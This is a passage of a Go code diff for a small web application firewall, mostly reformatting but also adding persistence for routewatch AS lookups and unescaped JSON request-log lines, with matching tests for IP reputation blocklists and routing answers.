+			return entries{}, fmt.Errorf(
+				"decision %d %w",
+				i+1,
+				errNotDecision,
+			)
 		}
 
 		expires := fetched.Add(duration)
 		if expires.After(found.decisions[netblock].Expires) {
-			found.decisions[netblock] = Decision{Expires: expires, Scenario: decision.Scenario}
+			found.decisions[netblock] = Decision{
+				Expires:  expires,
+				Scenario: decision.Scenario,
+			}
 		}
 
 		if !slices.Contains(found.lengths, netblock.Bits()) {

internal/reputation/reputation_test.go

@@ -72,7 +72,9 @@ func TestListedAddressesAndNetblocksWithTheCommentsLeftOut(t *testing.T) {
 	})
 }
 
-func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(t *testing.T) {
+func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	now := time.Now()
@@ -126,7 +128,9 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
-		servers := &standIn{lists: map[string]string{dropURL: "203.0.113.9\n"}}
+		servers := &standIn{
+			lists: map[string]string{dropURL: "203.0.113.9\n"},
+		}
 		lists := start(t, servers, params(dropURL))
 		began := time.Now()
 
@@ -142,41 +146,21 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
 		wantListedBy(t, lists, "203.0.113.9")
 		wantListedBy(t, lists, "203.0.113.10", dropURL)
 
-		if fetched := lists.Fetched(dropURL); !fetched.Equal(began.Add(refresh)) {
+		if fetched := lists.Fetched(dropURL); !fetched.Equal(
+			began.Add(refresh),
+		) {
 			t.Errorf("the copy in use was fetched at %s, want %s", fetched,
 				began.Add(refresh))
 		}
 	})
 }
 
-func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
+func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
+	t *testing.T,
+) {
 	t.Parallel()
 
-	for _, tc := range []struct {
+	for _, tc := range listFailures() {
-		name string
-		// fail has the stand-in answer the fetches after the first so that
-		// they fail with error.
-		fail  func(servers *standIn)
-		error string
-	}{
-		{
-			"an answer other than 200",
-			func(servers *standIn) { servers.set(dropURL, "") },
-			"the server answered 503 Service Unavailable",
-		},
-		{
-			"a line that does not read",
-			func(servers *standIn) { servers.set(dropURL, "203.0.113.10\n<html>\n") },
-			"line 2 is not an address or a netblock, such as 192.0.2.0/24",
-		},
-		{
-			"a list longer than 16 MiB",
-			func(servers *standIn) {
-				servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
-			},
-			"the list is longer than 16 MiB",
-		},
-	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
@@ -205,8 +189,13 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
 				want := kept[0]
 				want.Tried = time.Now()
 
-				if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
+				got := lists.Snapshot()
-					t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
+				if !reflect.DeepEqual(got, []reputation.List{want}) {
+					t.Errorf(
+						"lists %+v, want the first copy, last tried now, %+v",
+						got,
+						want,
+					)
 				}
 
 				if lists.Failures(dropURL) != 2 {
@@ -215,10 +204,14 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
 
 				// One alert for the first failure; the cooldown holds back the
 				// second.
-				wantAlert(t, queue, fetchFailure(time.Now().Add(-refresh), dropURL, tc.error))
+				failed := time.Now().Add(-refresh)
+				wantAlert(t, queue, fetchFailure(failed, dropURL, tc.error))
 
-				if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
+				if !strings.Contains(
-					`"url":"`+dropURL+`","error":"`+tc.error) {
+					log.String(),
+					`"msg":"fetching a list failed",`+
+						`"url":"`+dropURL+`","error":"`+tc.error,
+				) {
 					t.Errorf("logged\n%s\nwant the failures", log.String())
 				}
 			})
@@ -226,6 +219,40 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
 	}
 }
 
+// listFailure is a way a list's fetch can fail.
+type listFailure struct {
+	name string
+	// fail has the stand-in answer the fetches after the first so that
+	// they fail with error.
+	fail  func(servers *standIn)
+	error string
+}
+
+// listFailures returns the ways a list's fetch can fail.
+func listFailures() []listFailure {
+	return []listFailure{
+		{
+			"an answer other than 200",
+			func(servers *standIn) { servers.set(dropURL, "") },
+			"the server answered 503 Service Unavailable",
+		},
+		{
+			"a line that does not read",
+			func(servers *standIn) {
+				servers.set(dropURL, "203.0.113.10\n<html>\n")
+			},
+			"line 2 is not an address or a netblock, such as 192.0.2.0/24",
+		},
+		{
+			"a list longer than 16 MiB",
+			func(servers *standIn) {
+				servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
+			},
+			"the list is longer than 16 MiB",
+		},
+	}
+}
+
 func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
 	t.Parallel()
 
@@ -237,19 +264,27 @@ func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
 		synctest.Wait()
 
 		if lists.Failures(dropURL) != 0 {
-			t.Errorf("%d failures before a minute, want none", lists.Failures(dropURL))
+			t.Errorf(
+				"%d failures before a minute, want none",
+				lists.Failures(dropURL),
+			)
 		}
 
 		time.Sleep(time.Nanosecond)
 		synctest.Wait()
 
 		if lists.Failures(dropURL) != 1 {
-			t.Errorf("%d failures after a minute, want 1", lists.Failures(dropURL))
+			t.Errorf(
+				"%d failures after a minute, want 1",
+				lists.Failures(dropURL),
+			)
 		}
 	})
 }
 
-func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.T) {
+func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -260,10 +295,18 @@ func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.
 		lists.SetTransport(servers)
 
 		// drop.txt was fetched an hour ago, and tor.txt a refresh ago, as
-		// reputation.json says at start.
+		// lists.json says at start.
 		err := lists.Load([]reputation.List{
-			{URL: dropURL, Fetched: time.Now().Add(-time.Hour), Lines: []string{"203.0.113.9"}},
+			{
-			{URL: torURL, Fetched: time.Now().Add(-refresh), Lines: []string{"198.51.100.9"}},
+				URL:     dropURL,
+				Fetched: time.Now().Add(-time.Hour),
+				Lines:   []string{"203.0.113.9"},
+			},
+			{
+				URL:     torURL,
+				Fetched: time.Now().Add(-refresh),
+				Lines:   []string{"198.51.100.9"},
+			},
 		})
 		if err != nil {
 			t.Fatalf("load: %v", err)
@@ -290,16 +333,20 @@ func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) {
 	synctest.Test(t, func(t *testing.T) {
 		// drop.txt is fetched, and a refresh later the fetch downloads it
 		// whole but fails on a line that does not read.
-		servers := &standIn{lists: map[string]string{dropURL: "198.51.100.1\n"}}
+		servers := &standIn{
+			lists: map[string]string{dropURL: "198.51.100.1\n"},
+		}
 		lists := start(t, servers, params(dropURL))
 
 		servers.set(dropURL, "198.51.100.2\n<html>\n")
 		time.Sleep(refresh)
 		wantFetches(t, servers, 2)
 
-		// Restarted with what reputation.json keeps, it waits a refresh
+		// Restarted with what lists.json keeps, it waits a refresh
 		// after the failed try, as it does while it runs.
-		restarted := &standIn{lists: map[string]string{dropURL: "198.51.100.2\n"}}
+		restarted := &standIn{
+			lists: map[string]string{dropURL: "198.51.100.2\n"},
+		}
 		again := reputation.New(params(dropURL))
 		again.SetTransport(restarted)
 
@@ -349,11 +396,14 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
 		wantFetches(t, servers, 1)
 
 		if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 {
-			t.Errorf("%d failures and alerts %+v, want none", lists.Failures(dropURL),
+			t.Errorf(
-				waiting(queue))
+				"%d failures and alerts %+v, want none",
+				lists.Failures(dropURL),
+				waiting(queue),
+			)
 		}
 
-		// Restarted an hour later with what reputation.json keeps, it fetches
+		// Restarted an hour later with what lists.json keeps, it fetches
 		// tor.txt, never tried, at once, and drop.txt a refresh after its
 		// cut-off try.
 		time.Sleep(time.Hour)
@@ -382,7 +432,9 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
 	})
 }
 
-func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
+func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -397,7 +449,13 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
 		for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} {
 			percent, listed := lists.ASNLimitPercent(asn)
 			if !listed || percent != want {
-				t.Errorf("%s has %d (listed %t), want %d", asn, percent, listed, want)
+				t.Errorf(
+					"%s has %d (listed %t), want %d",
+					asn,
+					percent,
+					listed,
+					want,
+				)
 			}
 		}
 
@@ -416,7 +474,9 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
 	})
 }
 
-func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T) {
+func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
@@ -432,13 +492,18 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T)
 		t.Fatalf("load: %v", err)
 	}
 
-	if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
+	if got := lists.Snapshot(); !reflect.DeepEqual(
+		got,
+		[]reputation.List{kept},
+	) {
 		t.Errorf("copies %+v, want only %+v", got, kept)
 	}
 
-	err = lists.Load([]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{
+	err = lists.Load(
-		"; DROP", "203.0.113.300",
+		[]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{
-	}}})
+			"; DROP", "203.0.113.300",
+		}}},
+	)
 
 	const want = "the copy of " + dropURL +
 		": line 2 is not an address or a netblock, such as 192.0.2.0/24"
@@ -446,7 +511,10 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T)
 		t.Errorf("error %v, want %s", err, want)
 	}
 
-	if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
+	if got := lists.Snapshot(); !reflect.DeepEqual(
+		got,
+		[]reputation.List{kept},
+	) {
 		t.Errorf("copies %+v after the error, want %+v still", got, kept)
 	}
 }
@@ -580,7 +648,12 @@ func wantFetches(t *testing.T, servers *standIn, want int) {
 }
 
 // wantListedBy checks the URLs of the blocklists lists says list addr.
-func wantListedBy(t *testing.T, lists *reputation.Lists, addr string, want ...string) {
+func wantListedBy(
+	t *testing.T,
+	lists *reputation.Lists,
+	addr string,
+	want ...string,
+) {
 	t.Helper()
 
 	got := lists.ListedBy(netip.MustParseAddr(addr))
@@ -611,8 +684,13 @@ func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) {
 	t.Helper()
 
 	got := waiting(queue)
-	if len(got) != 1 || !reflect.DeepEqual(got[0], want) || queue.Suppressed() != 1 {
+	if len(got) != 1 || !reflect.DeepEqual(got[0], want) ||
-		t.Errorf("alerts waiting %+v, %d held back, want only %+v and 1", got,
+		queue.Suppressed() != 1 {
-			queue.Suppressed(), want)
+		t.Errorf(
+			"alerts waiting %+v, %d held back, want only %+v and 1",
+			got,
+			queue.Suppressed(),
+			want,
+		)
 	}
 }

internal/requestlog/requestlog.go

@@ -5,6 +5,7 @@
 package requestlog
 
 import (
+	"bytes"
 	"encoding/json"
 	"fmt"
 	"io"
@@ -252,14 +253,20 @@ func WriteRProxyLine(w io.Writer, line *RProxyLine) error {
 	return writeJSONLine(w, line)
 }
 
-// writeJSONLine writes line to w as one JSON line.
+// writeJSONLine writes line to w as one JSON line. It writes "&", "<" and
+// ">" as they are, so a query string reads as it was sent.
 func writeJSONLine(w io.Writer, line any) error {
-	encoded, err := json.Marshal(line)
+	var encoded bytes.Buffer
+
+	encoder := json.NewEncoder(&encoded)
+	encoder.SetEscapeHTML(false)
+
+	err := encoder.Encode(line)
 	if err != nil {
 		return fmt.Errorf("encode the request log line: %w", err)
 	}
 
-	_, err = w.Write(append(encoded, '\n'))
+	_, err = w.Write(encoded.Bytes())
 	if err != nil {
 		return fmt.Errorf("write the request log line: %w", err)
 	}

internal/requestlog/requestlog_test.go

@@ -18,7 +18,9 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
 	var out bytes.Buffer
 
 	err := requestlog.Write(&out, &requestlog.Line{
-		Time:            requestlog.FormatTime(time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC)),
+		Time: requestlog.FormatTime(
+			time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC),
+		),
 		ClientIP:        "203.0.113.9",
 		Status:          200,
 		Action:          requestlog.ActionForward,
@@ -67,6 +69,50 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
 	}
 }
 
+func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) {
+	t.Parallel()
+
+	var out bytes.Buffer
+
+	err := requestlog.Write(&out, &requestlog.Line{
+		Query:   "a=1&b=<2>",
+		Referer: "https://example.com/?x=1&y=<2>",
+	})
+	if err != nil {
+		t.Fatalf("write: %v", err)
+	}
+
+	err = requestlog.WriteRProxyLine(
+		&out,
+		&requestlog.RProxyLine{Query: "a=1&b=<2>"},
+	)
+	if err != nil {
+		t.Fatalf("write the rproxy line: %v", err)
+	}
+
+	lines := strings.Split(strings.TrimSuffix(out.String(), "\n"), "\n")
+	if len(lines) != 2 {
+		t.Fatalf("wrote %q, want two lines", out.String())
+	}
+
+	for _, line := range lines {
+		if !json.Valid([]byte(line)) {
+			t.Errorf("%s is not valid JSON", line)
+		}
+
+		if !strings.Contains(line, `"query":"a=1&b=<2>"`) {
+			t.Errorf("%s does not hold the query as sent", line)
+		}
+	}
+
+	if !strings.Contains(
+		lines[0],
+		`"referer":"https://example.com/?x=1&y=<2>"`,
+	) {
+		t.Errorf("%s does not hold the referer as sent", lines[0])
+	}
+}
+
 func TestWriteRProxyLineWritesOneJSONLineWithOnlyItsFields(t *testing.T) {
 	t.Parallel()
 
@@ -94,8 +140,9 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
 
 	var out bytes.Buffer
 
-	requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).Info("starting",
+	requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).
-		"version", "v1")
+		Info("starting",
+			"version", "v1")
 
 	var fields map[string]any
 
@@ -104,8 +151,10 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
 		t.Fatalf("decode %q: %v", out.String(), err)
 	}
 
-	if fields["type"] != "process" || fields["instance"] != "fsn1app1/blog" ||
+	if fields["type"] != "process" ||
-		fields["msg"] != "starting" || fields["level"] != "INFO" ||
+		fields["instance"] != "fsn1app1/blog" ||
+		fields["msg"] != "starting" ||
+		fields["level"] != "INFO" ||
 		fields["version"] != "v1" {
 		t.Errorf("process line %v", fields)
 	}
@@ -116,7 +165,10 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
 	if err != nil || !strings.HasSuffix(timeText, "Z") ||
 		len(timeText) != len("2006-01-02T15:04:05.000Z") ||
 		time.Since(logged) > time.Minute {
-		t.Errorf("process line time %q, want now in UTC with milliseconds", timeText)
+		t.Errorf(
+			"process line time %q, want now in UTC with milliseconds",
+			timeText,
+		)
 	}
 }
 
@@ -133,7 +185,11 @@ func TestProcessLoggerWritesTheMessagesAtItsLevelOrMoreSevere(t *testing.T) {
 
 			var out bytes.Buffer
 
-			processLog := requestlog.NewProcessLogger(&out, "fsn1app1/blog", level)
+			processLog := requestlog.NewProcessLogger(
+				&out,
+				"fsn1app1/blog",
+				level,
+			)
 			for _, at := range levels {
 				processLog.Log(t.Context(), at, "message")
 			}

internal/routewatch/routewatch.go

@@ -1,6 +1,8 @@
 // Package routewatch asks a routewatch instance about client addresses, in the
-// background, and keeps its answers in memory. A routewatch instance knows, for
+// background, and keeps its answers. A routewatch instance knows, for an
-// an address, the netblock it is announced in and the AS that originates it.
+// address, the netblock it is announced in and the AS that originates it. The
+// answers are kept in memory, for at most 100,000 clients and for an hour each,
+// and are written to routewatch.json and read from it by the state package.
 package routewatch
 
 import (
@@ -13,6 +15,7 @@ import (
 	"net/http"
 	"net/netip"
 	"net/url"
+	"slices"
 	"sync"
 	"time"
 
@@ -65,6 +68,17 @@ type Route struct {
 	ASN      uint32
 }
 
+// Answer is what routewatch answered about a client, as routewatch.json holds
+// it: the netblock the client's address is announced in, none for an address
+// without a live route, the AS that originates it, and when routewatch
+// answered.
+type Answer struct {
+	Client   netip.Prefix `json:"client"`
+	Netblock netip.Prefix `json:"netblock"`
+	ASN      uint32       `json:"asn"`
+	Answered time.Time    `json:"answered"`
+}
+
 // Params are what New needs.
 type Params struct {
 	// URL is where routewatch is (SWW_ROUTEWATCH_URL).
@@ -84,23 +98,16 @@ type Client struct {
 	mu sync.Mutex
 	// answers are by client. Each is added as it comes and never moved up,
 	// so that the one that came longest ago is the first dropped.
-	answers *simplelru.LRU[netip.Prefix, answer]
+	answers *simplelru.LRU[netip.Prefix, Answer]
 	// asking are the clients whose query is under way.
 	asking map[netip.Prefix]bool
 	// retryAt is when routewatch may be asked again after a query failed.
 	retryAt time.Time
 }
 
-// answer is one kept answer: the route, or why there is none, and when it came.
-type answer struct {
-	route   Route
-	missing Missing
-	came    time.Time
-}
-
 // New returns a Client with no answer yet.
 func New(params Params) *Client {
-	answers, err := simplelru.NewLRU[netip.Prefix, answer](maxAnswers, nil)
+	answers, err := simplelru.NewLRU[netip.Prefix, Answer](maxAnswers, nil)
 	if err != nil {
 		panic(err) // NewLRU fails only for a size below one
 	}
@@ -128,8 +135,12 @@ func (c *Client) Route(
 	now := c.params.Now()
 
 	kept, found := c.answers.Peek(client)
-	if found && now.Sub(kept.came) < answerKept {
+	if found && now.Sub(kept.Answered) < answerKept {
-		return kept.route, kept.missing
+		if !kept.Netblock.IsValid() {
+			return Route{}, NoRoute
+		}
+
+		return Route{Netblock: kept.Netblock, ASN: kept.ASN}, ""
 	}
 
 	if now.Before(c.retryAt) {
@@ -145,12 +156,62 @@ func (c *Client) Route(
 	return Route{}, NoAnswerYet
 }
 
+// Snapshot returns every answer still in use, sorted by client, as
+// routewatch.json lists them.
+func (c *Client) Snapshot() []Answer {
+	c.mu.Lock()
+
+	now := c.params.Now()
+	answers := make([]Answer, 0, c.answers.Len())
+
+	for _, kept := range c.answers.Values() {
+		if now.Sub(kept.Answered) < answerKept {
+			answers = append(answers, kept)
+		}
+	}
+
+	c.mu.Unlock()
+
+	slices.SortFunc(answers, func(a, b Answer) int {
+		return a.Client.Compare(b.Client)
+	})
+
+	return answers
+}
+
+// Load keeps answers, read from routewatch.json, in place of those it keeps,
+// but for those that came answerKept ago or more and, past maxAnswers, those
+// that came longest ago.
+func (c *Client) Load(answers []Answer) {
+	answers = slices.Clone(answers)
+	slices.SortStableFunc(answers, func(a, b Answer) int {
+		return a.Answered.Compare(b.Answered)
+	})
+
+	c.mu.Lock()
+	defer c.mu.Unlock()
+
+	c.answers.Purge()
+
+	now := c.params.Now()
+
+	for _, kept := range answers {
+		if now.Sub(kept.Answered) < answerKept {
+			c.answers.Add(kept.Client, kept)
+		}
+	}
+}
+
 // ask asks routewatch about addr, keeps the answer as client's, and notes the
 // query as no longer under way. A query that fails gives no answer, and
 // routewatch is not asked again for failureKept. Only the first failure of
 // those under way is logged.
-func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr) {
+func (c *Client) ask(
-	route, missing, err := c.query(ctx, addr)
+	ctx context.Context,
+	client netip.Prefix,
+	addr netip.Addr,
+) {
+	route, err := c.query(ctx, addr)
 	now := c.params.Now()
 
 	c.mu.Lock()
@@ -160,7 +221,9 @@ func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr)
 	firstFailure := err != nil && !now.Before(c.retryAt)
 
 	if err == nil {
-		c.answers.Add(client, answer{route: route, missing: missing, came: now})
+		c.answers.Add(client, Answer{
+			Client: client, Netblock: route.Netblock, ASN: route.ASN, Answered: now,
+		})
 	} else {
 		c.retryAt = now.Add(failureKept)
 	}
@@ -168,25 +231,34 @@ func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr)
 	c.mu.Unlock()
 
 	if firstFailure {
-		c.params.ProcessLog.Warn("asking routewatch failed", "error", err.Error())
+		c.params.ProcessLog.Warn(
+			"asking routewatch failed",
+			"error",
+			err.Error(),
+		)
 	}
 }
 
 // query asks routewatch's IP info API about addr. An answer other than 200, one
 // that cannot be read, and none within queryTimeout, fail. A result with no
-// netblock is an address without a live route.
+// netblock is an address without a live route, and gives a Route without one.
-func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, Missing, error) {
+func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, error) {
 	ctx, cancel := context.WithTimeout(ctx, queryTimeout)
 	defer cancel()
 
 	endpoint, err := url.JoinPath(c.params.URL, "api/v1/ip", addr.String())
 	if err != nil {
-		return Route{}, "", fmt.Errorf("make the URL: %w", err)
+		return Route{}, fmt.Errorf("make the URL: %w", err)
 	}
 
-	req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, http.NoBody)
+	req, err := http.NewRequestWithContext(
+		ctx,
+		http.MethodGet,
+		endpoint,
+		http.NoBody,
+	)
 	if err != nil {
-		return Route{}, "", fmt.Errorf("make the request: %w", err)
+		return Route{}, fmt.Errorf("make the request: %w", err)
 	}
 
 	req.Header.Set("Accept", "application/json")
@@ -195,7 +267,7 @@ func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, Missing, er
 	if err != nil {
 		// Do's error names the URL, which holds the client's address, which
 		// is not to be logged: only what went wrong is kept.
-		return Route{}, "", fmt.Errorf("ask routewatch: %w", errors.Unwrap(err))
+		return Route{}, fmt.Errorf("ask routewatch: %w", errors.Unwrap(err))
 	}
 
 	defer func() {
@@ -203,14 +275,14 @@ func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, Missing, er
 	}()
 
 	if res.StatusCode != http.StatusOK {
-		return Route{}, "", fmt.Errorf("%w %s", errStatus, res.Status)
+		return Route{}, fmt.Errorf("%w %s", errStatus, res.Status)
 	}
 
 	return readAnswer(io.LimitReader(res.Body, maxAnswerBytes))
 }
 
 // readAnswer reads routewatch's answer about one address.
-func readAnswer(body io.Reader) (Route, Missing, error) {
+func readAnswer(body io.Reader) (Route, error) {
 	var decoded struct {
 		Data struct {
 			Results []struct {
@@ -222,22 +294,22 @@ func readAnswer(body io.Reader) (Route, Missing, error) {
 
 	err := json.NewDecoder(body).Decode(&decoded)
 	if err != nil {
-		return Route{}, "", fmt.Errorf("read the answer: %w", err)
+		return Route{}, fmt.Errorf("read the answer: %w", err)
 	}
 
 	if len(decoded.Data.Results) == 0 {
-		return Route{}, "", errNoResult
+		return Route{}, errNoResult
 	}
 
 	result := decoded.Data.Results[0]
 	if result.Netblock == "" {
-		return Route{}, NoRoute, nil
+		return Route{}, nil
 	}
 
 	netblock, err := netip.ParsePrefix(result.Netblock)
 	if err != nil {
-		return Route{}, "", fmt.Errorf("%w: %q", errNotNetblock, result.Netblock)
+		return Route{}, fmt.Errorf("%w: %q", errNotNetblock, result.Netblock)
 	}
 
-	return Route{Netblock: netblock.Masked(), ASN: result.ASN}, "", nil
+	return Route{Netblock: netblock.Masked(), ASN: result.ASN}, nil
 }

internal/routewatch/routewatch_test.go

@@ -7,10 +7,12 @@ import (
 	"net/http"
 	"net/http/httptest"
 	"net/netip"
+	"slices"
 	"strings"
 	"sync"
 	"sync/atomic"
 	"testing"
+	"testing/synctest"
 	"time"
 
 	"sneak.berlin/go/smallwebwaf/internal/routewatch"
@@ -113,6 +115,30 @@ func answering(body string) http.HandlerFunc {
 	}
 }
 
+// silentURL is where a routewatch that never answers is: a query to it waits,
+// without the network, until it is abandoned. TestMain registers it with Go's
+// default transport, through which the Client asks.
+const silentURL = "silent://routewatch/"
+
+func TestMain(m *testing.M) {
+	transport, _ := http.DefaultTransport.(*http.Transport)
+	transport.RegisterProtocol("silent", silentRoutewatch{})
+
+	m.Run()
+}
+
+// silentRoutewatch is the routewatch at silentURL.
+type silentRoutewatch struct{}
+
+// RoundTrip waits until req is abandoned.
+func (silentRoutewatch) RoundTrip(
+	req *http.Request,
+) (*http.Response, error) {
+	<-req.Context().Done()
+
+	return nil, req.Context().Err()
+}
+
 func (f *fixture) route() (routewatch.Route, routewatch.Missing) {
 	addr := netip.MustParseAddr(clientAddr)
 	client := netip.PrefixFrom(addr, addr.BitLen())
@@ -167,12 +193,19 @@ func TestRouteGivesRoutewatchsAnswerAndAsksByAddress(t *testing.T) {
 	f := newFixture(t, answering(routedAnswer))
 
 	if _, missing := f.route(); missing != routewatch.NoAnswerYet {
-		t.Errorf("before the answer: %q, want %q", missing, routewatch.NoAnswerYet)
+		t.Errorf(
+			"before the answer: %q, want %q",
+			missing,
+			routewatch.NoAnswerYet,
+		)
 	}
 
 	route := f.waitFor("")
 
-	want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
+	want := routewatch.Route{
+		Netblock: netip.MustParsePrefix("192.0.2.0/24"),
+		ASN:      64496,
+	}
 	if route != want {
 		t.Errorf("route %+v, want %+v", route, want)
 	}
@@ -195,7 +228,10 @@ func TestAnswerAfterASlowReverseDNSLookupIsKept(t *testing.T) {
 
 	route := f.waitFor("")
 
-	want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
+	want := routewatch.Route{
+		Netblock: netip.MustParsePrefix("192.0.2.0/24"),
+		ASN:      64496,
+	}
 	if route != want {
 		t.Errorf("route %+v, want %+v", route, want)
 	}
@@ -224,7 +260,8 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
 		"not JSON":   answering("no"),
 		"no results": answering(`{"status":"ok","data":{"results":[]}}`),
 		"bad netblock": answering(
-			`{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`),
+			`{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`,
+		),
 	}
 	for name, standIn := range tests {
 		t.Run(name, func(t *testing.T) {
@@ -239,7 +276,9 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
 	}
 }
 
-func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) {
+func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	f := newFixture(t, answering(routedAnswer))
@@ -256,7 +295,9 @@ func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(t *testing.T)
 	f.wantFailureLoggedWithoutTheClient()
 }
 
-func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
+func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
@@ -277,7 +318,10 @@ func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
 	deadline := time.Now().Add(waitLimit)
 	for f.queries.Load() != 2 {
 		if time.Now().After(deadline) {
-			t.Fatalf("%d queries after the failure expired, want 2", f.queries.Load())
+			t.Fatalf(
+				"%d queries after the failure expired, want 2",
+				f.queries.Load(),
+			)
 		}
 
 		time.Sleep(time.Millisecond)
@@ -287,20 +331,34 @@ func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
 func TestHangingRoutewatchNeverDelaysAndFailsTheQuery(t *testing.T) {
 	t.Parallel()
 
-	f := newFixture(t, func(_ http.ResponseWriter, r *http.Request) {
+	// In a synctest bubble, time passes only while every goroutine in it waits,
-		<-r.Context().Done()
+	// so Route's wait is measured exactly, however busy the host is. routewatch
+	// is the one at silentURL: one reached over the network would keep the
+	// bubble's clock from moving.
+	synctest.Test(t, func(t *testing.T) {
+		// Without newFixture's stand-in, which is reached over the network.
+		f := &fixture{t: t, log: &syncBuffer{}}
+		f.client = routewatch.New(routewatch.Params{
+			URL: silentURL, Now: time.Now,
+			ProcessLog: slog.New(slog.NewTextHandler(f.log, nil)),
+		})
+
+		began := time.Now()
+		_, missing := f.route()
+
+		if waited := time.Since(began); missing != routewatch.NoAnswerYet ||
+			waited != 0 {
+			t.Errorf(
+				"Route gave %q after %s while routewatch hangs, want %q at once",
+				missing,
+				waited,
+				routewatch.NoAnswerYet,
+			)
+		}
+
+		f.waitFor(routewatch.RequestFailed)
+		f.wantFailureLoggedWithoutTheClient()
 	})
-
-	start := time.Now()
-
-	f.route()
-
-	if elapsed := time.Since(start); elapsed > time.Second {
-		t.Errorf("Route took %s while routewatch hangs", elapsed)
-	}
-
-	f.waitFor(routewatch.RequestFailed)
-	f.wantFailureLoggedWithoutTheClient()
 }
 
 func TestRepeatedRequestsMakeOneQueryAndTheAnswerExpires(t *testing.T) {
@@ -336,3 +394,110 @@ func TestRepeatedRequestsMakeOneQueryAndTheAnswerExpires(t *testing.T) {
